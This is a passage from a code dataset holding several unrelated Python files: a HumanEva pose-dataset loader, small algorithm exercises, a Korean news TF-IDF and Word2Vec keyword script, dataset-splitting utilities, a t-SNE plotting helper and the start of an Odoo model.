cv2.circle(frame_tmp, tuple(map(int, x_2d_t._data[name])), 3, c, -1)\n cv2.imshow(\"123\", frame_tmp)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\n def drawKpts(frame, x_2d_t):\n frame_tmp = frame.copy()\n for idx, joint in enumerate(x_2d_t._data.keys()):\n frame_tmp = cv2.circle(frame_tmp, tuple(map(int, x_2d_t._data[joint])), 3, (255, 0, 0), -1)\n pdb.set_trace()\n return frame_tmp\n\n## HumanEva dataset\n#\n# The loader class of HumanEva dataset : \"L. Sigal, A. O. Balan and M. J. Black. HumanEva: Synchronized Video and Motion Capture Dataset for Evaluation of Articulated Human Motion, International Journal of Computer Vision (IJCV), Volume 87, Number 1-2, pp. 4-27, March, 2010.\"\nclass HumanEva(dataset.Dataset):\n # define const values\n ACTORS = (\"S1\", \"S2\", \"S3\")\n ACTIONS = (\"Box\", \"Gestures\", \"Jog\", \"ThrowCatch\", \"Walking\")\n TRIALS = (1,)\n PARTITION = {\"S1\":{\"Walking\": (590, 1180), \"Jog\": (367, 735), \"ThrowCatch\": (473, 946), \"Gestures\": (395, 790), \"Box\": (385, 770)},\n \"S2\":{\"Walking\": (438, 877), \"Jog\": (398, 796), \"ThrowCatch\": (550, 1101), \"Gestures\": (500, 1000), \"Box\": (382, 765)},\n \"S3\":{\"Walking\": (448, 896), \"Jog\": (401, 803), \"ThrowCatch\": (493, 987), \"Gestures\": (533, 1067), \"Box\": (512, 1024)}}\n START_FRAME = 6\n MAPPING = {\"head\": \"headDistal\",\n \"neck\": \"headProximal\",\n \"thorax\": \"torsoProximal\",\n \"pelvis\": \"torsoDistal\",\n \"l_shoulder\": \"upperLArmProximal\",\n \"l_wrist\": \"lowerLArmDistal\",\n \"r_shoulder\": \"upperRArmProximal\",\n \"r_wrist\": \"lowerRArmDistal\",\n \"l_ankle\": \"lowerLLegDistal\",\n \"r_ankle\": \"lowerRLegDistal\"}\n ## constructor\n # @param input_dirname The directory name of the input HumanEva dataset root\n # @param output_dirname The directory name of the output image root\n def __init__(self, input_dirname=\"E:/HumanEva1\", output_dirname=\"data/images/HumanEva\"):\n super(HumanEva, self).__init__()\n self.__input_dirname = input_dirname\n self.__output_dirname = output_dirname\n ## map HumanEva joint list to DeepPose joint list\n # @param self The object pointer\n # @param pose The 2D/3D poses\n # @return The dictionary of DeepPose style joint\n def __mapJoint(self, pose): # using some joints coords to cal particular joints\n x = {k: None for k in self.JOINTS}\n for name in self.JOINTS:\n # simple name mapping\n if name in self.MAPPING:\n x[name] = pose[self.MAPPING[name]]\n # calculate DeepPose joint pose\n else:\n if \"elbow\" in name:\n if name[0] == \"l\":\n x[name] = (pose[\"upperLArmDistal\"] + pose[\"lowerLArmProximal\"])/2\n else:\n x[name] = (pose[\"upperRArmDistal\"] + pose[\"lowerRArmProximal\"])/2\n elif \"knee\" in name:\n if name[0] == \"l\":\n x[name] = (pose[\"upperLLegDistal\"] + pose[\"lowerLLegProximal\"])/2\n else:\n x[name] = (pose[\"upperRLegDistal\"] + pose[\"lowerRLegProximal\"])/2\n return x\n ## generate the dataset data\n # @param self The object pointer\n # @param avi_file The filename of video data\n # @param png_dir The directory name of output image data\n # @param partition The partition between test data, train data and video end\n # @param cam_param The camera parameter\n # @param mocap The motion capture data\n # @param sync_param The synchronization parameter\n # @param conic_param The conic limb parameter\n # @param log The log\n def __generateData(self, avi_file, png_dir, partition, cam_param, mocap, sync_param, conic_param, log):\n try:\n os.makedirs(png_dir)\n except OSError:\n pass\n image_frame = self.START_FRAME - 1\n # load video\n video = cv2.VideoCapture(avi_file)\n #video.set(cv2.cv.CV_CAP_PROP_POS_FRAMES, image_frame)\n video.set(1, image_frame)\n randomPermutationIdx = np.random.permutation(partition[1]+1)\n while(video.isOpened()):\n if image_frame > partition[1]:\n break\n # logging\n sys.stderr.write(\"{0} frames({1}/{2})\\r\".format(log, image_frame, partition[1]))\n sys.stderr.flush()\n # get current image frame\n ret, frame = video.read()\n if not ret:\n image_frame += 1\n continue\n # calculate mocap frame\n mocap_frame = sync_param.mc_st + (image_frame - sync_param.im_st)*sync_param.mc_sc\n if (not 1 <= mocap_frame <= mocap.marker.shape[0]) or not mocap.isValid(mocap_frame):\n image_frame += 1\n #append zero\n continue\n # compute 3D pose\n length = LimbLength(mocap, mocap_frame)\n Tm = GlobalMarkerTransform(mocap, mocap_frame, conic_param, length)\n x_3d_t = Pose3D(Tm, length)\n x_2d_t = Pose2D(x_3d_t, cam_param)\n # calculate bounding box\n try:\n bb = BoundingBox(x_2d_t)\n except RuntimeError:\n image_frame += 1\n continue\n # modify 2D/3D pose accoring to the bounding box\n #x_3d_t.modify(bb, cam_param)\n #x_2d_t.modify(bb)\n # save image\n filename = os.path.join(png_dir, \"{0}.png\".format(image_frame))\n cv2.imwrite(filename, frame)\n # substitute to class value\n dirIdx = (1 if randomPermutationIdx[image_frame] < partition[0] else 0)\n #pdb.set_trace()\n self._dir[dirIdx][\"images\"].append(filename)\n for i in range(3): #camParam matrix shape (3, 3)\n for j in range(3):\n self._dir[dirIdx][\"camMat\"+str(i)+str(j)].append(cam_param.A[i, j])\n #tmp_x_2d = self.__mapJoint(x_2d_t) # diection ele: matrix shape (2, 1)\n tmp_x_2d = x_2d_ts\n \n if DEBUG:\n img = drawKpts(frame, tmp_x_2d, self.JOINTS)\n cv2.imshow(\"img\", img)\n \n for i in range(len(self.JOINTS)):\n self._dir[dirIdx][\"2DJoint\"+str(i)+\"_u\"].append(tmp_x_2d[self.JOINTS[i]][0, 0])\n self._dir[dirIdx][\"2DJoint\"+str(i)+\"_v\"].append(tmp_x_2d[self.JOINTS[i]][1, 0])\n #tmp_x_3d = self.__mapJoint(x_3d_t) # diection ele: matrix shape (3, 1)\n tmp_x_3d = x_3d_t\n for i in range(len(self.JOINTS)):\n self._dir[dirIdx][\"3DJoint\"+str(i)+\"_x\"].append(tmp_x_3d[self.JOINTS[i]][0, 0])\n self._dir[dirIdx][\"3DJoint\"+str(i)+\"_y\"].append(tmp_x_3d[self.JOINTS[i]][1, 0])\n self._dir[dirIdx][\"3DJoint\"+str(i)+\"_z\"].append(tmp_x_3d[self.JOINTS[i]][2, 0])\n # increment image frame\n image_frame += 1\n # release memory\n video.release()\n ## main method of generating the HumanEva dataset\n \n def _generateSyncFrameData(self, actor, trial, action, actor_param, log):\n \n try:\n mocap = MotionCaptureData(os.path.join(self.__input_dirname, actor, \"Mocap_Data\", \"{0}_{1}.mat\".format(action, trial)))\n except RuntimeError:\n return \n \n avi_file_list = []\n png_dir_list = []\n sync_param_list = []\n cam_param_list = []\n frameIdx_list = []\n video_list = []\n frame_list = []\n mocapIdx_list = []\n x_2d_t_list = []\n bb_list = []\n \n randomPermutationIdx = np.random.permutation(self.PARTITION[actor][action][1]+1)\n partitionIdx = self.PARTITION[actor][action][0]\n conic_param = ConicLimbParameter(mocap, actor_param)\n\n for camIdx, camera in enumerate(self.CAMERAS): \n avi_file_list.append(os.path.join(self.__input_dirname, actor, \"Image_Data\", \"{0}_{1}_({2}).avi\".format(action, trial, camera)))\n png_dir_list.append(os.path.join(self.__output_dirname, actor, action, camera))\n sync_param_list.append(SynchronizationParameter(os.path.join(self.__input_dirname, actor, \\\n \"Sync_Data\", \"{0}_{1}_({2}).ofs\".format(action, trial, camera))))\n cam_param_list.append(CameraParameter(os.path.join(\\\n self.__input_dirname, actor, \"Calibration_Data\", camera + \".cal\")))\n\n frameIdx_list.append(self.START_FRAME - 1)\n video_list.append(cv2.VideoCapture(avi_file_list[camIdx]))\n video_list[camIdx].set(1, frameIdx_list[camIdx])\n frame_list.append(None)\n mocapIdx_list.append(None)\n x_2d_t_list.append(None)\n bb_list.append(None)\n try:\n os.makedirs(png_dir_list[camIdx])\n except OSError:\n pass\n\n refreshFlag = True\n while(video_list[0].isOpened() and video_list[1].isOpened() and video_list[2].isOpened()):\n if frameIdx_list[0] > partitionIdx or frameIdx_list[1] > partitionIdx or frameIdx_list[2] > partitionIdx:\n break\n if refreshFlag:\n for camIdx, camera in enumerate(self.CAMERAS):\n ret, frame_list[camIdx] = video_list[camIdx].read()\n mocapIdx_list[camIdx] = round(sync_param_list[camIdx].mc_st + \\\n (frameIdx_list[camIdx] - sync_param_list[camIdx].im_st)*sync_param_list[camIdx].mc_sc)\n refreshFlag = False\n mocapIdx = min(mocapIdx_list) \n dirIdx = (1 if randomPermutationIdx[frameIdx_list[0]] < partitionIdx else 0)\n sys.stderr.write(\"{0} mocapframes({1}/{2})\\r\".format(log, mocapIdx, mocap.marker.shape[0]))\n sys.stderr.flush()\n pdb.set_trace()\n if DEBUG:\n for camIdx, camera in enumerate(self.CAMERAS):\n ShowFlag = False\n if x_2d_t_list[camIdx] is not None:\n ShowFlag = True\n drawFrame = drawKpts(frame_list[camIdx], x_2d_t_list[camIdx])\n cv2.imshow(\"img\"+camera, drawFrame)\n if ShowFlag:\n cv2.waitKey(0)\n\n if (1 <= mocapIdx <= mocap.marker.shape[0]) and mocap.isValid(mocapIdx):\n length = LimbLength(mocap, mocapIdx)\n Tm = GlobalMarkerTransform(mocap, mocapIdx, conic_param, length)\n x_3d_t = Pose3D(Tm, length)\n for camIdx, camera in enumerate(self.CAMERAS):\n if mocapIdx_list[camIdx] == mocapIdx:\n x_2d_t_list[camIdx] = Pose2D(x_3d_t, cam_param_list[camIdx])\n bb_list[camIdx] = BoundingBox(x_2d_t_list[camIdx])\n filename = os.path.join(png_dir_list[camIdx], \"{0}.png\".format(mocapIdx))\n cv2.imwrite(filename, frame_list[camIdx])\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_isValuable\"].append(1)\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_images\"].append(filename)\n for i in range(3): #camParam matrix shape (3, 3)\n for j in range(3):\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_camMat\"+str(i)+str(j)].append(cam_param_list[camIdx].A[i, j])\n for i in range(4):\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_\"+self.BBOX[i]].append(bb_list[camIdx].bb[i])\n tmp_x_2d = self.__mapJoint(x_2d_t_list[camIdx]) # diection ele: matrix shape (2, 1)\n for i in range(len(self.JOINTS)):\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_2DJoint\"+str(i)+\"_u\"].append(tmp_x_2d[self.JOINTS[i]][0, 0])\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_2DJoint\"+str(i)+\"_v\"].append(tmp_x_2d[self.JOINTS[i]][1, 0])\n frameIdx_list[camIdx] += 1\n ret, frame_list[camIdx] = video_list[camIdx].read()\n mocapIdx_list[camIdx] = round(sync_param_list[camIdx].mc_st + \\\n (frameIdx_list[camIdx] - sync_param_list[camIdx].im_st)*sync_param_list[camIdx].mc_sc)\n \n else:\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_isValuable\"].append(0)\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_images\"].append(None)\n for i in range(3): #camParam matrix shape (3, 3)\n for j in range(3):\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_camMat\"+str(i)+str(j)].append(0.0)\n for i in range(4):\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_\"+self.BBOX[i]].append(0.0)\n for i in range(len(self.JOINTS)):\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_2DJoint\"+str(i)+\"_u\"].append(0.0)\n self._dir[dirIdx][\"Cam\"+str(camIdx)+\"_2DJoint\"+str(i)+\"_v\"].append(0.0)\n \n tmp_x_3d = self.__mapJoint(x_3d_t) # diection ele: matrix shape (3, 1)\n for i in range(len(self.JOINTS)):\n self._dir[dirIdx][\"3DJoint\"+str(i)+\"_x\"].append(tmp_x_3d[self.JOINTS[i]][0, 0])\n self._dir[dirIdx][\"3DJoint\"+str(i)+\"_y\"].append(tmp_x_3d[self.JOINTS[i]][1, 0])\n self._dir[dirIdx][\"3DJoint\"+str(i)+\"_z\"].append(tmp_x_3d[self.JOINTS[i]][2, 0])\n else:\n for camIdx, camera in enumerate(self.CAMERAS):\n frameIdx_list[camIdx] += 1\n refreshFlag = True\n\n for camIdx, camera in enumerate(self.CAMERAS):\n video_list[camIdx].release()\n\n \n\n\n def main(self):\n # crawl HumanEva dataset\n for a, actor in enumerate(self.ACTORS):\n actor_param = ActorParameter(os.path.join(self.__input_dirname, actor, \"Mocap_Data\", \"{0}.mp\".format(actor)))\n for t, trial in enumerate(self.TRIALS):\n for l, action in enumerate(self.ACTIONS):\n log = \"generating... actors({0}/{1}) trials({2}/{3}) actions({4}/{5})\".format(a, len(self.ACTORS), t, len(self.TRIALS), l, len(self.ACTIONS))\n self._generateSyncFrameData(actor, trial, action, actor_param, log) \n\n sys.stderr.write(\"\\n\")\n self._saveDataset()\n\n\nif __name__ == \"__main__\":\n HumanEva().main()\n","sub_path":"datasets/human_eva.py","file_name":"human_eva.py","file_ext":"py","file_size_in_byte":15677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"385205341","text":"def dict_depth(dic,level = 1):\n print(\"dic = \"+str(dic))\n if not isinstance(dic,dict) or not dic:\n print(\"returning level = \"+str(level))\n return level\n\n for key in dic:\n if isinstance(dic[key],dict):\n print(\"calling = \",dic[key])\n res[0] = max(res[0],dict_depth(dic[key],level+1))\n else:\n res[0] = max(res[0],level)\n\n print(\"returning res[0] = \"+str(res[0]))\n return res[0]\n\nres = [0]\nmyDict = {2:{}}\nprint(\"my dict = \" + str(myDict))\n# myDict = {1:'Geek', 2: {3: {4: {}}}}\nprint(dict_depth(myDict))","sub_path":"src/problems/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"505280666","text":"\ndef get_sorted(arr,n):\n low = 0 # track for 0 position.\n mid = 0 \n high = n-1 # track the 2's position\n\n while mid <= high: # mid should not be greater than high.\n\n if arr[mid] == 0:\n arr[low],arr[mid] = arr[mid],arr[low] # swap 1 present at low position with the current mid.\n low += 1\n mid += 1\n elif arr[mid] == 1:\n mid += 1\n else:\n arr[high],arr[mid] = arr[mid],arr[high]\n high -= 1\n \n return arr \n\ndef main():\n arr = list(map(int,input().split()))\n n = len(arr)\n res = get_sorted(arr,n)\n print(res)\n\nif __name__ == \"__main__\":\n main()\n \n","sub_path":"sort_0_1_2_pointer.py","file_name":"sort_0_1_2_pointer.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"563243265","text":" # -*- coding: utf-8 -*-\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.font_manager as fm\nimport matplotlib.pyplot as plt\nfrom future.utils import iteritems\nfrom collections import Counter\nfrom sklearn.manifold import TSNE\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport datetime\n\n\n# 꼬꼬마 형태소 분석기\nfrom konlpy.tag import Kkma\nkkma = Kkma()\n\n# Word2Vec 불러오기\nfrom gensim.models.word2vec import Word2Vec\n\nprint('abc')\n# Input data 정하기\n# article_data = pd.read_csv('./Article_세계/Article_세계_202001_202002.csv', encoding='euc-kr', header= None)\n# article_data = pd.read_csv('./Article_IT과학/Article_IT과학_202001_202002.csv', encoding='euc-kr', header= None)\n# article_data = pd.read_csv('./Article_세계/Article_세계_202001_202010.csv', encoding='euc-kr', header= None)\n# article_data = pd.read_csv('./Article_사회_202007_202010.csv', encoding='euc-kr', header= None)\narticle_data = pd.read_csv('../../self_nogada/IT과학/Article_IT과학_10월5주.csv', encoding='euc-kr', header= None)\n\n# 약간의 설명\n# row[0] : 뉴스날짜 row[1] : 뉴스 카테고리 row[2] : 뉴스원본사 row[3] : 뉴스제목 row[4] : 뉴스 내용 row[5] : 네이버뉴스 링크\n# print(article_data.iloc[86]) 그냥 article_data[1][10000]로 출력할 시 결측치 제거한 후 인덱스가 비어버렸기 때문에 키값 에러뜸. 접근 안돼서\n# article_data[1] IT과학 세로로 쭉 / article_data[1][10000] 1만번 째의 뉴스 IT과학 / article_data[3][4] 4번째 뉴스의 뉴스 내용\n\n#뉴스의 개수\nnews_size = article_data[0].size\n# print(\"뉴스 개수\" + str(news_size))\n# print(article_data.iloc[86])\n\n# NAN 결측치 제거 (euc-kr~~~ 로 적힌 잘못된 뉴스정보가 있다면 제거)\narticle_data = article_data.dropna(axis=0)\n\n#결측치 제거 후 뉴스의 개수\nnews_size = article_data[0].size\nprint(\"뉴스 개수\" + str(news_size))\n# print(article_data.iloc[86])\n# print(article_data.iloc[86][3])\n\n#하루 단위로 기사 내용을 stringLine에 다 합치고 list_whenDayChange에 append\nlist_whenDayChange = []\nstringLine = \"\"\nnowDays = 0\n\n# print(article_data.iloc[0][0] + \" \" + article_data.iloc[1][0])\n\n# 오늘 날짜\ntoday = datetime.date.today()\n\n# 11월 1일\nnovember = datetime.date(2020, 11, 1)\n# 10월까지\nnew_year = datetime.date(2020, 1, 1)\n\ndiff = int(str(november - new_year).split(' ')[0])\nprint(str(diff))\n\nnow_day_diff = 0\nfor i in range(0, news_size):\n if now_day_diff >= (diff - 7):\n stringLine += article_data.iloc[i][3]\n if i == (news_size - 1):\n list_whenDayChange.append(stringLine)\n else:\n if article_data.iloc[nowDays][0] == article_data.iloc[i][0]:\n stringLine += \" \" + article_data.iloc[i][3]\n else:\n # print(\"날짜가 달라졌음 \" + str(i))\n # print(\"날짜는 \" + str(article_data.iloc[i][0]))\n now_date = str(article_data.iloc[i][0])\n # print(now_date[0:4] + \" \" + now_date[4:6] + \" \" + now_date[6:8])\n now_day_diff = int(str(datetime.date(int(now_date[0:4]), int(now_date[4:6]), int(now_date[6:8])) - new_year).split(' ')[0])\n # print(now_date + \" >>> \" + str(now_day_diff))\n nowDays = i\n list_whenDayChange.append(stringLine)\n stringLine = \"\"\n\nprint(\"List Size >> \" + str(len(list_whenDayChange)))\n\n#리스트 내 하루단위로 쪼개진 문자열들 확인해보기\n# for i in range(len(list_whenDayChange)):\n# print(list_whenDayChange[i])\n# print(\" \")\n# print(i)\n\n#단어 인덱싱 및 빈도세기\n# as_one = ''\n# for document in list_whenDayChange:\n# as_one = as_one + ' ' + document\n# words = as_one.split()\n# print(words[0:10])\n\n# words = []\n# for i in range(len(list_whenDayChange)):\n# words.append(kkma.nouns(list_whenDayChange[i]))\n#\n# words = [[y for y in x if not len(y) == 1] for x in words]\n# words = [[y for y in x if not y.isdigit()] for x in words]\n#\n# words_sum = ''\n# for i in range(len(words)):\n\n\n#단어들의 연속적인 시리즈로 된 리스트를 입력으로 Counter를 사용하면 각 단어들의 빈도를 dictionary로 반환해 줌\n# counts = Counter(words)\n# print(counts)\n\n#단어빈도(counts.get)를 기준으로 내림차순(reverse=True) 정렬\n# vocab = sorted(counts, key=counts.get, reverse=True)\n# print(vocab)\n\n#단어들에 번호를 매겨 그 번호와 그 단어를 dictionary로 저장 e.g. {단어 : index}\n# word2idx = {word.encode(\"utf8\").decode(\"utf8\"): ii for ii, word in enumerate(vocab,1)}\n# print(word2idx)\n\n#index가 key가 되도록 순서를 바꿈\n# idx2word = {ii: word for ii, word in enumerate(vocab)}\n# print(idx2word)\n\n#Term Frequency\n# V = len(word2idx)\nN = len(list_whenDayChange)\ntf = CountVectorizer()\nonlyLast = [list_whenDayChange[N - 1]]\nX = tf.fit_transform(onlyLast)\nonlyLastByWord = \"\"\n\n# for i in range(0, len(tf.get_feature_names())):\n# if X.toarray()[0][i] >= 7:\n# for j in range(0, int(X.toarray()[0][i] / 7)):\n# onlyLastByWord += tf.get_feature_names()[i] + ' '\n\nfor i in range(0, len(tf.get_feature_names())):\n for j in range(0, X.toarray()[0][i]):\n onlyLastByWord += tf.get_feature_names()[i] + ' '\n\nprint(onlyLastByWord)\nprevious_last_list = list_whenDayChange[N - 1]\nlist_whenDayChange[N-1] = onlyLastByWord\n\nstopwords = ['']\n#TF-IDF\ntfidf = TfidfVectorizer(max_features=5000, max_df=0.95, min_df=0,stop_words=stopwords)\n#generate tf-idf term-document matrix\nA_tfidf_sp = tfidf.fit_transform(list_whenDayChange) #size D x V\n\n#tf-idf dictionary\ntfidf_dict = tfidf.get_feature_names()\n# print(tfidf_dict)\n\n#TF-IDF score Top n개 단어 시각화\ndata_array = A_tfidf_sp.toarray()\ndata = pd.DataFrame(data_array, columns=tfidf_dict)\n# print(data.shape)\nprint(data.tail(1))\n\nfeature_array = np.array(tfidf.get_feature_names())\ntfidf_sorting = np.argsort(A_tfidf_sp[N-1].toarray()).flatten()[::-1]\n\nn = 20\ntop_n = feature_array[tfidf_sorting][:n]\ni = 0\nfor text in top_n:\n top_n[i] = text.upper()\n i = i + 1\n\nprint(top_n)\n\n # 이전 작업 내용\n\n\n# # 단어 인덱싱 및 빈도세기\n# as_one = ''\n# as_one = previous_last_list.split()\n# print(\"우리의 테스트@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\")\n# print(\"바이든이 있다 없다?! >> \" + str(as_one.__contains__('바이든')))\n# print(as_one)\n#\n# list_whenDayChange_split = []\n#\n# for i in range(0, N - 1):\n# # print(str(i) + \"번째 문장!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n# list_whenDayChange_split.append(list_whenDayChange[i].split(' '))\n# list_whenDayChange_split[i].remove('')\n# # print(list_whenDayChange_split[i])\n# list_whenDayChange_split.append(as_one)\n#\n# print(type(as_one))\n# print(type(list_whenDayChange_split))\n# print('flag1')\n# # 모형 구축\n# model = Word2Vec([as_one],\n# sg=1, # Skip-grqm 적용 : 중심 단어로 주변 단어를 예측\n# window=5, # 중심 단어로부터 좌우 5개 단어까지 학습에 적용\n# min_count=1 # 전체문서에서 최소 1회 이상 출현단어로 학습 진행\n# )\n# model.init_sims(replace=True)\n#\n# print('flag2')\n# print(\"바이든과 대선 단어간 유사도는 %.2f 입니다.\" % (model.wv.similarity('바이든', '대선')))\n# print('flag3')\n#\n# for i in range(1, N):\n# print(top_n[0] + \" \" + top_n[i])\n# print(\"%s과 %s 단어간 유사도는 %.2f 입니다.\" % (top_n[0], top_n[i], model.wv.similarity(top_n[0], top_n[i])))\n#\n# vocab_frame = pd.DataFrame(model.wv.most_similar('바이든', topn=10), columns=['단어', '유사도'])\n# print(vocab_frame)\n\n########################\n\n #새 작업\ndataset = []\nfor i in range(len(list_whenDayChange)):\n dataset.append(kkma.nouns(list_whenDayChange[i]))\n# print(dataset[0])\n\ndataset = [[y for y in x if not len(y) == 1] for x in dataset]\ndataset = [[y for y in x if not y.isdigit()] for x in dataset]\n\nmodel = Word2Vec(dataset, sg=1, window=5, min_count=1)\nmodel.init_sims(replace=True)\n\nprint(top_n[0])\nvocab_frame = pd.DataFrame(model.wv.most_similar(top_n[0], topn=2000), columns=['단어', '유사도'])\nprint(vocab_frame.head(10))\n\nvocab_frame = vocab_frame[vocab_frame['단어'].isin(top_n)]\nprint(vocab_frame)\n# for i in range(0,5):\n# print(vocab_frame.loc[i]['단어'])\n\nadd_frame = pd.Series([top_n[0],1], index = ['단어','유사도'])\nvocab_frame = vocab_frame.append(add_frame, ignore_index = True)\n\nvocab_frame.to_csv(\"C:\\ssafy\\project_3\\python_bigData\\datamining\\multi_mining\\IT5.csv\", mode='w', encoding='euc-kr')\n","sub_path":"python/python_bigData/datamining/tfidf-word2vec.py","file_name":"tfidf-word2vec.py","file_ext":"py","file_size_in_byte":8667,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"344853715","text":"# -*- coding: utf-8 -*-\n# Author:sen\n# Date:2020/3/10 17:40\n\nimport os\nimport random\nimport shutil\nfrom pprint import pprint\nfrom collections import defaultdict\n\n\ndef cross5(src_dir):\n # 将原始数据打乱并分配到5个文件夹里面\n # src_dir = \"C:\\\\Users\\\\M\\\\Desktop\\\\seen_cross5_origin\\\\pilot101_200\"\n count = 0\n basename = os.path.basename(src_dir)\n # dirs = os.listdir(src_dir)\n for dir_name in os.listdir(src_dir):\n print(dir_name)\n for en_name in os.listdir(os.path.join(src_dir, dir_name)):\n os.rename(os.path.join(src_dir, dir_name, en_name),\n os.path.join(src_dir, dir_name, basename + '_' + dir_name + '_' + en_name)) \n\n\ndef copy_dirs():\n dest_dir = r'C:\\Users\\M\\Desktop\\pilot900_Processed_'\n # shutil.move(r'C:\\Users\\M\\Desktop\\hello', dest_dir)\n \n root_dir= r'C:\\UESTC\\项目-民航语音\\pilot900_Processed'\n for pilot_x in os.listdir(root_dir):\n print(pilot_x)\n pilot_x_path = os.path.join(root_dir, pilot_x)\n for name in os.listdir(pilot_x_path):\n name_path = os.path.join(pilot_x_path, name)\n print(name_path)\n for en_name in os.listdir(name_path):\n en_path = os.path.join(name_path, en_name)\n # print(en_path)\n # shutil.move(en_path, dest_dir)\n \n\ndef shuffle_move():\n src_dir = r'C:\\UESTC\\项目-民航语音\\pilot900_Processed2'\n dest_dir = r'C:\\UESTC\\项目-民航语音\\pilot900_Processed3'\n path = list(os.listdir(src_dir))\n # path = [i for i in range(11276)]\n random.shuffle(path)\n part_cnt = len(path) // 5\n dest_idx = 0\n\n for i in range(4):\n part_path = path[i*part_cnt:(i+1)*(part_cnt)]\n dest_path = os.path.join(dest_dir, 'dataset' + str(i))\n if not os.path.exists(dest_path):\n os.makedirs(dest_path)\n for p in part_path: \n shutil.move(os.path.join(src_dir, p), dest_path)\n print(len(part_path))\n last_path = path[(i+1)*part_cnt:len(path)]\n dest_path = os.path.join(dest_dir, 'dataset' + str(i+1))\n if not os.path.exists(dest_path):\n os.makedirs(dest_path)\n for p in last_path:\n shutil.move(os.path.join(src_dir, p), dest_path)\n print(len(last_path))\n \n \n \n pass\n\n\ndef moveFile():\n src = \"C:\\\\Users\\\\M\\\\Desktop\\\\seen_cross5_origin\\\\pilot101_200\\\\liuzhilin\\\\en001\"\n\n # filenumber = len(pathDir)\n # # rate = 0.1 # 自定义抽取图片的比例,比方说100张抽10张,那就是0.1\n # # picknumber = int(filenumber * rate) # 按照rate比例从文件夹中取一定数量图片\n # picknumber = 50\n # sample = random.sample(pathDir, picknumber) # 随机选取picknumber数量的样本图片\n # print(sample)\n # # for name in sample:\n # # # shutil.move(fileDir + name, tarDir + name)\n # return\n\ndef list_split(n, part, shuffle):\n assert part > 0, 'part should > 0'\n idx = [i for i in range(n)]\n if shuffle:\n random.shuffle(idx)\n parts = []\n part_cnt = n // part\n for i in range(part-1):\n each_part = idx[i*part_cnt:(i+1)*(part_cnt)]\n parts.append(each_part)\n last_part = idx[(i+1)*part_cnt:n]\n parts.append(last_part)\n return parts\n\n\ndef people():\n root = r'C:\\UESTC\\项目-民航语音\\pilot900_Processed2'\n dest_dir = r'C:\\UESTC\\项目-民航语音\\pilot900_Processed_unseen'\n names = defaultdict(list)\n for name in os.listdir(root):\n x = name.split('_')[-2]\n names[x].append(name)\n \n names_key = list(names.keys())\n names_parts = list_split(len(names_key), 5, shuffle=True)\n \n for i, part in enumerate(names_parts):\n print(i, '-' * 30)\n name_part = []\n dest_path = os.path.join(dest_dir, 'dataset' + str(i))\n if not os.path.exists(dest_path):\n os.makedirs(dest_path)\n for idx in part:\n name_part.append(names_key[idx])\n for name in name_part:\n print(name)\n for dir_name in names[name]:\n shutil.move(os.path.join(root, dir_name), dest_path)\n \n\n\nif __name__ == '__main__':\n pass","sub_path":"dataprep/crossDataPrep.py","file_name":"crossDataPrep.py","file_ext":"py","file_size_in_byte":4171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"72383057","text":"print('Welcome to Tic Tac Toe!')\nplayer1 = input('Do you want to be X or O?')\nprint('player1 will go first')\nQuery1 = input('Are you ready to play')\nif Query1.lower() == 'yes':\n while True:\n print(['']*10)\n\n\n\n\nelse:\n quit()","sub_path":"FirstMileStone.py","file_name":"FirstMileStone.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"316756557","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy import interp\nimport os\nfrom sklearn import manifold\n\n\ndef plot_embedding(X, labels, p):\n \"\"\"\n Plot embeddings with their lables using TSNE for dimension reduction\n \"\"\"\n tsne = manifold.TSNE(n_components=2, init='pca', random_state=0, perplexity=p)\n X = tsne.fit_transform(X)\n fig_dim = (15.0,12.0)\n plt.figure(figsize=fig_dim)\n num_labs = len(set(labels))\n ax = plt.subplot(111)\n #cm = plt.get_cmap('tab20')\n #ax.set_prop_cycle('color', [cm(1. * i / num_labs) for i in range(num_labs)])\n points_x = list()\n points_y = list()\n for l in range(num_labs):\n points_x.append(list())\n points_y.append(list())\n for i in range(X.shape[0]):\n points_x[labels[i]].append(X[i, 0])\n points_y[labels[i]].append(X[i, 1])\n for i,l in enumerate(range(num_labs)):\n ax.scatter(points_x[i], points_y[i], s=5, label=l, alpha=1)\n\n ax.legend(loc=\"upper right\", prop={'size': 12})\n plt.title(\"Plot of embeddings\")\n ax.set_xlim([X[:,0].min()-0.05, X[:,0].max() + 0.25])\n ax.set_ylim([X[:,1].min()-0.05, X[:,1].max() + 0.25])\n plt.xlabel(\"X\")\n plt.ylabel(\"Y\")\n plt.show()\n","sub_path":"visuals.py","file_name":"visuals.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"636004384","text":"\nfrom odoo import models, fields, api\nfrom odoo.exceptions import ValidationError\n\nclass Book( models.Model) :\n\n _description = \"Book\"\n _name = \"library.book\"\n _order = \"name\"\n\n 